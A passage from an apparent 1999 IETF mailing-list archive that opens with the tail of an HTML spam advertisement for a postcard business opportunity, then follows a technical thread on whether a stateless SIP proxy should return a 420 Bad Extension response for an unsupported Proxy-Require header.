ost Card to take advantage<BR>
of this dynamic market opportunity. Personal Post Cards combines the popul=
arity<BR>
of the following markets:<BR>
<BR>
</FONT><FONT  COLOR=3D"#ff8040" SIZE=3D3 PTSIZE=3D10>Travel and Leisure Ma=
rket $200 billion<BR>
</FONT><FONT  COLOR=3D"#008000" SIZE=3D3 PTSIZE=3D10>Greeting Card $10 bil=
lion</FONT><FONT  SIZE=3D2 PTSIZE=3D8><BR>
</FONT><FONT  COLOR=3D"#800080" SIZE=3D2 PTSIZE=3D8>Photography $30 billio=
n</FONT><FONT  COLOR=3D"#0000ff" SIZE=3D2 PTSIZE=3D8><BR>
</FONT><FONT  COLOR=3D"#800080" SIZE=3D2 PTSIZE=3D8><BR>
</FONT><FONT  COLOR=3D"#0000ff" SIZE=3D5 PTSIZE=3D14 FAMILY=3D"SCRIPT" FAC=
E=3D"Lucida Calligraphy" LANG=3D"0"><I><U>The Opportunity Is:</FONT><FONT =
 COLOR=3D"#800080" SIZE=3D2 PTSIZE=3D8 FAMILY=3D"SANSSERIF" FACE=3D"Arial"=
 LANG=3D"0"></I></U><BR>
<BR>
Part or full time<BR>
</FONT><FONT  COLOR=3D"#008080" SIZE=3D2 PTSIZE=3D8>No selling required<BR=
>
</FONT><FONT  COLOR=3D"#ff8040" SIZE=3D2 PTSIZE=3D8>No prior experience or=
 office required<BR>
</FONT><FONT  COLOR=3D"#008000" SIZE=3D2 PTSIZE=3D8>All cash business!<BR>
</FONT><FONT  COLOR=3D"#0000ff" SIZE=3D2 PTSIZE=3D8>Financing programs ava=
ilable</FONT><FONT  SIZE=3D3 PTSIZE=3D10><BR>
<BR>
</FONT><FONT  COLOR=3D"#800080" SIZE=3D3 PTSIZE=3D10 FAMILY=3D"SCRIPT" FAC=
E=3D"Lucida Calligraphy" LANG=3D"0"><I><U>For a Free Business Package at N=
o Obligation:<BR>
</FONT><FONT  COLOR=3D"#000000" SIZE=3D3 PTSIZE=3D10></B></I></U><BR>
</FONT><FONT  SIZE=3D3 PTSIZE=3D10 FAMILY=3D"SCRIPT" FACE=3D"Lucida Handwr=
iting" LANG=3D"0"><B><I><A 
</FONT><FONT  COLOR=3D"#008000" SIZE=3D5 PTSIZE=3D14><B>1-888-852-7900</FO=
NT><FONT  SIZE=3D3 PTSIZE=3D10><BR>
</FONT><FONT  COLOR=3D"#000000" SIZE=3D2 PTSIZE=3D8 FAMILY=3D"SANSSERIF" F=
ACE=3D"Arial" LANG=3D"0">Please refer to Code </FONT><FONT  COLOR=3D"#ff80=
40" SIZE=3D2 PTSIZE=3D8>F818</FONT><FONT  COLOR=3D"#000000" SIZE=3D2 PTSIZ=
E=3D8> when you call. <BR>
<BR>
</FONT><FONT  COLOR=3D"#0000ff" SIZE=3D2 PTSIZE=3D8>Customer Service Opera=
tors are available <BR>
Monday-Friday 9:00am - 9:00pm EST Saturday-Sunday 12:00 pm to 8 pm EST.</F=
ONT><FONT  COLOR=3D"#000000" SIZE=3D2 PTSIZE=3D8><BR>
<BR>
If you are outside the U.S. please fax your name, complete phone number<BR=
>
including country code and a good time for us to call you to (954)236-7264=
 . <BR>
We will respond to your request as soon as possible.<BR>
<BR>
</FONT><FONT  COLOR=3D"#008000" SIZE=3D2 PTSIZE=3D8>This offer is not vali=
d in all statesand should not be considered an offer <BR>
in states where the company is not registered.</FONT><FONT  COLOR=3D"#ff80=
40" SIZE=3D2 PTSIZE=3D8><BR>
<BR>
</FONT><FONT  COLOR=3D"#400040" SIZE=3D2 PTSIZE=3D8>If you no longer desir=
e to receive email from us</FONT><FONT  SIZE=3D3 PTSIZE=3D10 FAMILY=3D"SCR=
IPT" FACE=3D"Lucida Calligraphy" LANG=3D"0">, please email us,</FONT><FONT=
  COLOR=3D"#0000ff" SIZE=3D3 PTSIZE=3D10><BR>
<A HREF=3D"mailto:removingnow@netscape.net">CLICK HERE</A></FONT><FONT  CO=
LOR=3D"#0000ff" SIZE=3D3 PTSIZE=3D10>.</P></HTML>
<p><p><p><p><p><p><p><p><p><p>






<HTML></P><P ALIGN=3DCENTER><FONT  COLOR=3D"#0000ff" SIZE=3D4 PTSIZE=3D12 =
FAMILY=3D"SCRIPT" FACE=3D"Lucida Calligraphy" LANG=3D"0"><B>The Hottest Bu=
siness Opportunity to Hit<BR><p>the U.S. this Year!</FONT><FONT  COLOR=3D"=
#000000" SIZE=3D4 PTSIZE=3D12></B><BR><p></FONT><FONT  SIZE=3D3 PTSIZE=3D1=
0><BR><p><p><p><p><p><p><p><p><p><p></BODY></HTML>



From confctrl-owner  Thu Aug 19 12:58:40 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id MAA00753
	for confctrl-outgoing; Thu, 19 Aug 1999 12:58:40 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id MAA00748
	for <confctrl@zephyr.isi.edu>; Thu, 19 Aug 1999 12:58:38 -0700 (PDT)
Received: from smtp1-alterdial.uu.net (alterdial.UU.NET [192.48.96.22])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id MAA05464
	for <confctrl@ISI.EDU>; Thu, 19 Aug 1999 12:58:37 -0700 (PDT)
Received: from dynamicsoft.com by smtp1-alterdial.uu.net with ESMTP 
	(peer crosschecked as: [63.72.186.10])
	id QQhczf03513
	for <confctrl@ISI.EDU>; Thu, 19 Aug 1999 19:58:30 GMT
Message-ID: <37BC61E5.CA05C607@dynamicsoft.com>
Date: Thu, 19 Aug 1999 15:58:30 -0400
From: Vipul Patel <vpatel@dynamicsoft.com>
X-Mailer: Mozilla 4.6 [en] (X11; U; SunOS 5.7 sun4u)
X-Accept-Language: en
MIME-Version: 1.0
To: MMUSIC list <confctrl@ISI.EDU>
Subject: stateless proxy...
Content-Type: multipart/alternative;
 boundary="------------23EA590EA40351A96BC7A70A"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


--------------23EA590EA40351A96BC7A70A
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit


In section 10.2.1 of RFC 2543 it says following:

        Recall that responses are not generated by the next-hop
        stateless server, but generated by either a proxy server or
        the user agent server. Thus, the stateless proxy can only
        use the Via header field to forward the response.

What should a stateless proxy server do when it receives a Request
containing  Proxy-Require  header field with option(s) it does not
support.

Which of the following it should do:

(1)  Generate 420 BAD EXTENSION response.
        (Since, it cannot generate Responses, it is not correct)

(2) Ignore the Proxy-Require header field and forward the Request
        to the next hop.

(3) Ignore the Request and drop it

(4) None of the above... then WHAT.

Thanks,
Vipul.

--

Vipul J. Patel
dynamicsoft
200 Executive Drive
West Orange, NJ 07052
mailto:vpatel@dynamicsoft.com

Office:         + 1 732.741.7244
FAX:            + 1 732.741.4778
www:            http://www.dynamicsoft.com



--------------23EA590EA40351A96BC7A70A
Content-Type: text/html; charset=us-ascii
Content-Transfer-Encoding: 7bit

<!doctype html public "-//w3c//dtd html 4.0 transitional//en">
<html>
&nbsp;
<br>In section 10.2.1 of RFC 2543 it says following:
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Recall that responses are
not generated by the next-hop
<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; stateless server, but generated
by either a proxy server or
<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; the user agent server. Thus,
the stateless proxy can only
<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; use the Via header field
to forward the response.
<p>What should a stateless proxy server do when it receives a Request
<br>containing&nbsp; Proxy-Require&nbsp; header field with option(s) it
does not support.
<p>Which of the following it should do:
<p>(1)&nbsp; Generate 420 BAD EXTENSION response.
<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; (Since, it cannot generate
Responses, it is not correct)
<p>(2) Ignore the Proxy-Require header field and forward the Request
<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; to the next hop.
<p>(3) Ignore the Request and drop it
<p>(4) None of the above... then WHAT.
<p>Thanks,
<br>Vipul.
<pre>--&nbsp;

Vipul J. Patel
dynamicsoft
200 Executive Drive
West Orange, NJ 07052
<A HREF="mailto:vpatel@dynamicsoft.com">mailto:vpatel@dynamicsoft.com</A>

Office:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; + 1 732.741.7244
FAX:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; + 1 732.741.4778
www:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <A HREF="http://www.dynamicsoft.com">http://www.dynamicsoft.com</A></pre>
&nbsp;</html>

--------------23EA590EA40351A96BC7A70A--


From confctrl-owner  Thu Aug 19 15:54:34 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id PAA07503
	for confctrl-outgoing; Thu, 19 Aug 1999 15:54:34 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id PAA07498
	for <confctrl@zephyr.isi.edu>; Thu, 19 Aug 1999 15:54:32 -0700 (PDT)
Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id PAA20900
	for <confctrl@ISI.EDU>; Thu, 19 Aug 1999 15:54:31 -0700 (PDT)
Received: (qmail 9918 invoked from network); 19 Aug 1999 22:54:27 -0000
Received: from unknown (HELO Adoyle) (@216.181.56.35)
  by mailserv2.iuinc.com with SMTP; 19 Aug 1999 22:54:27 -0000
From: "Alex Doyle" <alex@broadsoft.com>
To: "Vipul Patel" <vpatel@dynamicsoft.com>, "MMUSIC list" <confctrl@ISI.EDU>
Subject: RE: stateless proxy...
Date: Thu, 19 Aug 1999 18:54:37 -0400
Message-ID: <009e01beea95$d04b8730$c402a8c0@Adoyle.broadsoft.com>
MIME-Version: 1.0
Content-Type: multipart/alternative;
	boundary="----=_NextPart_000_009F_01BEEA74.493B6DD0"
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook 8.5, Build 4.71.2173.0
Importance: Normal
X-MimeOLE: Produced By Microsoft MimeOLE V4.72.2106.4
In-Reply-To: <37BC61E5.CA05C607@dynamicsoft.com>
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

This is a multi-part message in MIME format.

------=_NextPart_000_009F_01BEEA74.493B6DD0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit

I would say this: if a proxy server is stateless, all that means is that it
doesn't maintain transaction state.  It can still perform "call state"
functions, like executing CPL scripts or enhanced features, even if it can't
perform transaction state management.

Therefore, if it gets the Proxy-Requires but doesn't support the extension
(a proprietary CPL ID, for example), I'd say it should generate the 420.

Does the group agree?  If so, the RFC should be modified, like Vipul
suggests.

Cheers,
Alex
alex@broadsoft.com

    -----Original Message-----
    From: owner-confctrl@ISI.EDU [mailto:owner-confctrl@ISI.EDU]On Behalf Of
Vipul Patel
    Sent: Thursday, August 19, 1999 3:59 PM
    To: MMUSIC list
    Subject: stateless proxy...



    In section 10.2.1 of RFC 2543 it says following:
            Recall that responses are not generated by the next-hop
            stateless server, but generated by either a proxy server or
            the user agent server. Thus, the stateless proxy can only
            use the Via header field to forward the response.

    What should a stateless proxy server do when it receives a Request
    containing  Proxy-Require  header field with option(s) it does not
support.

    Which of the following it should do:

    (1)  Generate 420 BAD EXTENSION response.
            (Since, it cannot generate Responses, it is not correct)

    (2) Ignore the Proxy-Require header field and forward the Request
            to the next hop.

    (3) Ignore the Request and drop it

    (4) None of the above... then WHAT.

    Thanks,
    Vipul.

--

Vipul J. Patel
dynamicsoft
200 Executive Drive
West Orange, NJ 07052
mailto:vpatel@dynamicsoft.com

Office:         + 1 732.741.7244
FAX:            + 1 732.741.4778
www:            http://www.dynamicsoft.com


------=_NextPart_000_009F_01BEEA74.493B6DD0
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD W3 HTML//EN">
<HTML>
<HEAD>

<META content=3D"text/html; charset=3Diso-8859-1" =
http-equiv=3DContent-Type>
<META content=3D'"MSHTML 4.72.2106.6"' name=3DGENERATOR>
</HEAD>
<BODY>
<DIV><SPAN class=3D385014922-19081999><FONT color=3D#0000ff face=3DArial =
size=3D2>I=20
would say this: if a proxy server is stateless, all that means is that =
it=20
doesn't maintain transaction state.&nbsp; It can still perform =
&quot;call=20
state&quot; functions, like executing CPL scripts or enhanced features, =
even if=20
it can't perform transaction state management.</FONT></SPAN></DIV>
<DIV><SPAN class=3D385014922-19081999><FONT color=3D#0000ff face=3DArial =

size=3D2></FONT></SPAN>&nbsp;</DIV>
<DIV><SPAN class=3D385014922-19081999><FONT color=3D#0000ff face=3DArial =

size=3D2>Therefore, if it gets the Proxy-Requires but doesn't support =
the=20
extension (a proprietary CPL ID, for example), I'd say it should =
generate the=20
420.</FONT></SPAN></DIV>
<DIV><SPAN class=3D385014922-19081999><FONT color=3D#0000ff face=3DArial =

size=3D2></FONT></SPAN>&nbsp;</DIV>
<DIV><SPAN class=3D385014922-19081999><FONT color=3D#0000ff face=3DArial =
size=3D2>Does=20
the group agree?&nbsp; If so, the RFC should be modified, like Vipul=20
suggests.</FONT></SPAN></DIV>
<DIV><SPAN class=3D385014922-19081999><FONT color=3D#0000ff face=3DArial =

size=3D2></FONT></SPAN>&nbsp;</DIV>
<DIV><SPAN class=3D385014922-19081999><FONT color=3D#0000ff face=3DArial =

size=3D2>Cheers,</FONT></SPAN></DIV>
<DIV><SPAN class=3D385014922-19081999><FONT color=3D#0000ff face=3DArial =

size=3D2></FONT></SPAN><SPAN class=3D385014922-19081999><FONT =
color=3D#0000ff=20
face=3DArial size=3D2>Alex</FONT></SPAN></DIV>
<DIV><SPAN class=3D385014922-19081999><FONT color=3D#0000ff face=3DArial =

size=3D2></FONT></SPAN><SPAN class=3D385014922-19081999><FONT =
color=3D#0000ff=20
face=3DArial size=3D2><A=20
href=3D"mailto:alex@broadsoft.com">alex@broadsoft.com</A></FONT></SPAN></=
DIV>
<DIV>&nbsp;</DIV>
<BLOCKQUOTE=20
style=3D"BORDER-LEFT: #0000ff solid 2px; MARGIN-LEFT: 5px; PADDING-LEFT: =
5px">
    <DIV class=3DOutlookMessageHeader><FONT face=3D"Times New Roman"=20
    size=3D2>-----Original Message-----<BR><B>From:</B> =
owner-confctrl@ISI.EDU=20
    [mailto:owner-confctrl@ISI.EDU]<B>On Behalf Of</B> Vipul=20
    Patel<BR><B>Sent:</B> Thursday, August 19, 1999 3:59 =
PM<BR><B>To:</B> MMUSIC=20
    list<BR><B>Subject:</B> stateless =
proxy...<BR><BR></FONT></DIV>&nbsp; <BR>In=20
    section 10.2.1 of RFC 2543 it says following:=20
    <P>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Recall that responses =
are not=20
    generated by the next-hop =
<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=20
    stateless server, but generated by either a proxy server or=20
    <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; the user agent =
server. Thus,=20
    the stateless proxy can only =
<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=20
    use the Via header field to forward the response.=20
    <P>What should a stateless proxy server do when it receives a =
Request=20
    <BR>containing&nbsp; Proxy-Require&nbsp; header field with option(s) =
it does=20
    not support.=20
    <P>Which of the following it should do:=20
    <P>(1)&nbsp; Generate 420 BAD EXTENSION response.=20
    <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; (Since, it cannot =
generate=20
    Responses, it is not correct)=20
    <P>(2) Ignore the Proxy-Require header field and forward the Request =

    <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; to the next hop.=20
    <P>(3) Ignore the Request and drop it=20
    <P>(4) None of the above... then WHAT.=20
    <P>Thanks, <BR>Vipul. <PRE>--&nbsp;

Vipul J. Patel
dynamicsoft
200 Executive Drive
West Orange, NJ 07052
<A =
href=3D"mailto:vpatel@dynamicsoft.com">mailto:vpatel@dynamicsoft.com</A>

Office:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; + 1 732.741.7244
FAX:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; + =
1 732.741.4778
www:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
<A =
href=3D"http://www.dynamicsoft.com">http://www.dynamicsoft.com</A></PRE>&=
nbsp;=20
</BLOCKQUOTE></BODY></HTML>

------=_NextPart_000_009F_01BEEA74.493B6DD0--


From confctrl-owner  Thu Aug 19 19:32:55 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id TAA14957
	for confctrl-outgoing; Thu, 19 Aug 1999 19:32:55 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id TAA14951
	for <confctrl@zephyr.isi.edu>; Thu, 19 Aug 1999 19:32:53 -0700 (PDT)
Received: from ericsson.com (gwa.ericsson.com [198.215.127.2])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id TAA05995
	for <confctrl@ISI.EDU>; Thu, 19 Aug 1999 19:32:52 -0700 (PDT)
Received: from mr4.exu.ericsson.se (mr4a.ericsson.com [198.215.127.160])
	by ericsson.com (8.9.3/8.9.3) with ESMTP id VAA10527;
	Thu, 19 Aug 1999 21:32:20 -0500 (CDT)
Received: from newman.exu.ericsson.se (newman.exu.ericsson.se [138.85.10.50])
	by mr4.exu.ericsson.se (8.9.3/8.9.3) with ESMTP id VAA06090;
	Thu, 19 Aug 1999 21:32:20 -0500 (CDT)
Received: from b04a45.exu.ericsson.se (b04a45 [138.85.60.145]) by newman.exu.ericsson.se (8.7.5/8.7.3) with ESMTP id VAA15347; Thu, 19 Aug 1999 21:32:18 -0500 (CDT)
From: Sean Olson <eussean@exu.ericsson.se>
Received: (from eussean@localhost)
	by b04a45.exu.ericsson.se (8.9.1/8.9.1) id VAA19652;
	Thu, 19 Aug 1999 21:32:18 -0500 (CDT)
Date: Thu, 19 Aug 1999 21:32:18 -0500 (CDT)
Message-Id: <199908200232.VAA19652@b04a45.exu.ericsson.se>
To: vpatel@dynamicsoft.com, confctrl@ISI.EDU, alex@broadsoft.com
Subject: RE: stateless proxy...
X-Sun-Charset: US-ASCII
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

> 
> I would say this: if a proxy server is stateless, all that means is that it
> doesn't maintain transaction state.  It can still perform "call state"
> functions, like executing CPL scripts or enhanced features, even if it can't
> perform transaction state management.
> 

Performing "call state" functions on a stateless proxy begs the question
why is the proxy stateless in the first place? (I would also argue that
performing such functions on a stateless proxy would be next to impossible)

> Therefore, if it gets the Proxy-Requires but doesn't support the extension
> (a proprietary CPL ID, for example), I'd say it should generate the 420.
> 
> Does the group agree?  If so, the RFC should be modified, like Vipul
> suggests.
> 

This seems reasonable for 4xx or 5xx responses. If the response gets lost
(UDP), the UAC will re-send the request which will again be responded to 
with a 420. When the UAC ACKs the response, the stateless proxy can
silently discard the ACK. 


> Cheers,
> Alex
> alex@broadsoft.com
> 
>     -----Original Message-----
> 
>     In section 10.2.1 of RFC 2543 it says following:
>             Recall that responses are not generated by the next-hop
>             stateless server, but generated by either a proxy server or
>             the user agent server. Thus, the stateless proxy can only
>             use the Via header field to forward the response.
> 

I believe this paragraph is just to clarify why the Via: headers must be
used for proxying a response (since a stateless proxy keeps no state for
the transaction). I don't believe (please correct me if I'm wrong) that this
was intended to mean that stateless proxies MUST not generate responses 
(except for the obvious 2xx, 6xx responses).

>     What should a stateless proxy server do when it receives a Request
>     containing  Proxy-Require  header field with option(s) it does not
>     support.
> 
>     Which of the following it should do:
> 
>     (1)  Generate 420 BAD EXTENSION response.
>             (Since, it cannot generate Responses, it is not correct)
> 
>     (2) Ignore the Proxy-Require header field and forward the Request
>             to the next hop.
> 
>     (3) Ignore the Request and drop it
> 
>     (4) None of the above... then WHAT.
> 
>     Thanks,
>     Vipul.
> 
> --
> 
> Vipul J. Patel
> dynamicsoft
> 200 Executive Drive
> West Orange, NJ 07052
> mailto:vpatel@dynamicsoft.com
> 
> Office:         + 1 732.741.7244
> FAX:            + 1 732.741.4778
> www:            http://www.dynamicsoft.com
> 

regards
-----------------------------------------------------------------
Sean Olson            E-mail: sean.olson@ericsson.com
Ericsson Inc.         Voice: (972) 583-5472 
                      FAX: (972) 669-0154

From confctrl-owner  Thu Aug 19 22:24:36 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id WAA20111
	for confctrl-outgoing; Thu, 19 Aug 1999 22:24:36 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id WAA20106
	for <confctrl@zephyr.isi.edu>; Thu, 19 Aug 1999 22:24:34 -0700 (PDT)
Received: from crufty.research.bell-labs.com (crufty.research.bell-labs.com [204.178.16.49])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id WAA12025
	for <confctrl@isi.edu>; Thu, 19 Aug 1999 22:24:33 -0700 (PDT)
Received: from nova.dnrc.bell-labs.com ([135.180.131.5]) by crufty; Fri Aug 20 01:22:25 EDT 1999
Received: from bell-labs.com (IDENT:jdrosen@[135.17.253.35])
	by nova.dnrc.bell-labs.com (8.9.3/8.9.3) with ESMTP id BAA15933;
	Fri, 20 Aug 1999 01:22:34 -0400 (EDT)
Message-ID: <37BCE667.FFB2898B@bell-labs.com>
Date: Fri, 20 Aug 1999 01:23:51 -0400
From: Jonathan Rosenberg <jdrosen@bell-labs.com>
X-Mailer: Mozilla 4.61 [en] (X11; U; Linux 2.2.5-15 i686)
X-Accept-Language: en
MIME-Version: 1.0
To: Sean Olson <eussean@exu.ericsson.se>
CC: vpatel@dynamicsoft.com, confctrl@ISI.EDU, alex@broadsoft.com
Subject: Re: stateless proxy...
References: <199908200232.VAA19652@b04a45.exu.ericsson.se>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Sean Olson wrote:
> 
> > Therefore, if it gets the Proxy-Requires but doesn't support the extension
> > (a proprietary CPL ID, for example), I'd say it should generate the 420.
> >
> > Does the group agree?  If so, the RFC should be modified, like Vipul
> > suggests.
> >
> 
> This seems reasonable for 4xx or 5xx responses. If the response gets lost
> (UDP), the UAC will re-send the request which will again be responded to
> with a 420. When the UAC ACKs the response, the stateless proxy can
> silently discard the ACK.

No, this it should not do. The notion of stateless and stateful proxies
is a logical distinction. Real servers probably include proxies
(stateless, stateful, and call-stateful), registrars, and redirect
servers. Thus, its perfectly reasonable for a normally stateless proxy
to send an error response (in which case its not stateless for this
transaction). Once it sends a response, it should be prepared to handle
the ACK. 

Its also probably OK to forward the request statelessly like any other,
but I wouldn't recommend this. The Proxy-Require header may specify a
feature which would make normal stateless proxy behavior incorrect. 

-Jonathan R.
-- 
Jonathan D. Rosenberg                       Lucent Technologies
Member of Technical Staff                   101 Crawfords Corner Rd.
High Speed Networks Research                Holmdel, NJ 07733
FAX: (732) 834-5379                         Rm. 4C-526
EMAIL: jdrosen@bell-labs.com
URL: http://www.cs.columbia.edu/~jdrosen

From confctrl-owner  Fri Aug 20 02:47:24 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id CAA27788
	for confctrl-outgoing; Fri, 20 Aug 1999 02:47:24 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id CAA27783
	for <confctrl@zephyr.isi.edu>; Fri, 20 Aug 1999 02:47:22 -0700 (PDT)
Received: from fogerty.ericsson.fi (fogerty.ericsson.fi [131.160.11.6])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id CAA18461
	for <confctrl@ISI.EDU>; Fri, 20 Aug 1999 02:47:21 -0700 (PDT)
Received: from lmf.lmf.ericsson.se ([131.160.11.2])
	by fogerty.ericsson.fi (8.9.3/8.9.3) with ESMTP id MAA01633;
	Fri, 20 Aug 1999 12:46:49 +0300 (EET DST)
Received: from ericsson.com by lmf.lmf.ericsson.se (8.8.8+Sun/SMI-SVR4)
	id MAA27641; Fri, 20 Aug 1999 12:46:35 +0300 (EET DST)
Message-ID: <37BD23EC.2583B410@ericsson.com>
Date: Fri, 20 Aug 1999 12:46:20 +0300
From: Gonzalo Camarillo <Gonzalo.Camarillo@ericsson.com>
Organization: Oy L M Ericsson Ab
X-Mailer: Mozilla 4.51 [en] (WinNT; I)
X-Accept-Language: en
MIME-Version: 1.0
To: jdrosen@bell-labs.com
CC: eussean@exu.ericsson.se, vpatel@dynamicsoft.com, confctrl@ISI.EDU,
        alex@broadsoft.com
Subject: Re: stateless proxy...
References: <37BCE667.FFB2898B@bell-labs.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Hi,

Sean writes:

> > This seems reasonable for 4xx or 5xx responses. If the response gets lost
> > (UDP), the UAC will re-send the request which will again be responded to
> > with a 420. When the UAC ACKs the response, the stateless proxy can
> > silently discard the ACK.

Jonathan writes:

> Thus, its perfectly reasonable for a normally stateless proxy
> to send an error response (in which case its not stateless for this
> transaction). Once it sends a response, it should be prepared to handle
> the ACK.

What do we gain by doing this? If we store state for this transaction
and we receive again the request, we will have cached the response and
we will save a bunch of hundreds of miliseconds... then, when the ACK
arrives, we will destroy our state, but we do not need to handle
furtherly the ACK (do we? )...

If we do as Sean proposes, if the request arrives again, we'll lose some
time building the response, and when we discard silently the ACK we
don't lose anything. On the other hand, we gain that we do not need to
store any kind of state for the call...

Regards,

Gonzalo
-- 
Gonzalo Camarillo         Phone :  +358  9 299 33 71
Oy L M Ericsson Ab        Mobile:  +358 40 702 35 35
Telecom R&D               Fax   :  +358  9 299 31 18
FIN-02420 Jorvas          Email :  Gonzalo.Camarillo@ericsson.com
Finland

From confctrl-owner  Fri Aug 20 08:35:46 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id IAA08561
	for confctrl-outgoing; Fri, 20 Aug 1999 08:35:46 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id IAA08556
	for <confctrl@zephyr.isi.edu>; Fri, 20 Aug 1999 08:35:45 -0700 (PDT)
Received: from gwu.ericy.com (gwu.ericy.com [208.196.3.162])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id IAA01080
	for <confctrl@ISI.EDU>; Fri, 20 Aug 1999 08:35:44 -0700 (PDT)
Received: from mr3.exu.ericsson.se (mr3u.ericy.com [208.238.116.100])
	by gwu.ericy.com (8.9.3/8.9.3) with ESMTP id KAA08080;
	Fri, 20 Aug 1999 10:33:40 -0500 (CDT)
Received: from newman.exu.ericsson.se (newman.exu.ericsson.se [138.85.10.50])
	by mr3.exu.ericsson.se (8.9.3/8.9.3) with ESMTP id KAA16145;
	Fri, 20 Aug 1999 10:33:40 -0500 (CDT)
Received: from b04a24.exu.ericsson.se (b04a24 [138.85.60.124]) by newman.exu.ericsson.se (8.7.5/8.7.3) with ESMTP id KAA14357; Fri, 20 Aug 1999 10:33:39 -0500 (CDT)
Received: (from exuadam@localhost)
	by b04a24.exu.ericsson.se (8.9.1/8.9.1) id KAA20747;
	Fri, 20 Aug 1999 10:33:37 -0500 (CDT)
Message-Id: <199908201533.KAA20747@b04a24.exu.ericsson.se>
Subject: Re: stateless proxy...
To: jdrosen@bell-labs.com (Jonathan Rosenberg)
Date: Fri, 20 Aug 1999 10:33:37 -0500 (CDT)
Cc: eussean@exu.ericsson.se, vpatel@dynamicsoft.com, confctrl@ISI.EDU,
        alex@broadsoft.com
In-Reply-To: <37BCE667.FFB2898B@bell-labs.com> from "Jonathan Rosenberg" at Aug 20, 99 01:23:51 am
From: "Adam B. Roach" <Adam.Roach@Ericsson.com>
X-Mailer: ELM [version 2.4 PL24]
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

>> This seems reasonable for 4xx or 5xx responses. If the response gets lost
>> (UDP), the UAC will re-send the request which will again be responded to
>> with a 420. When the UAC ACKs the response, the stateless proxy can
>> silently discard the ACK.
>
>No, this it should not do. The notion of stateless and stateful proxies
>is a logical distinction. Real servers probably include proxies
>(stateless, stateful, and call-stateful), registrars, and redirect
>servers. Thus, its perfectly reasonable for a normally stateless proxy
>to send an error response (in which case its not stateless for this
>transaction). Once it sends a response, it should be prepared to handle
>the ACK. 

"Handle" the ACK in what capacity? The ACK generally serves the
purpose of saying "Okay; I got the response. You can stop
(re)transmitting it now." Your answer implicitly says that
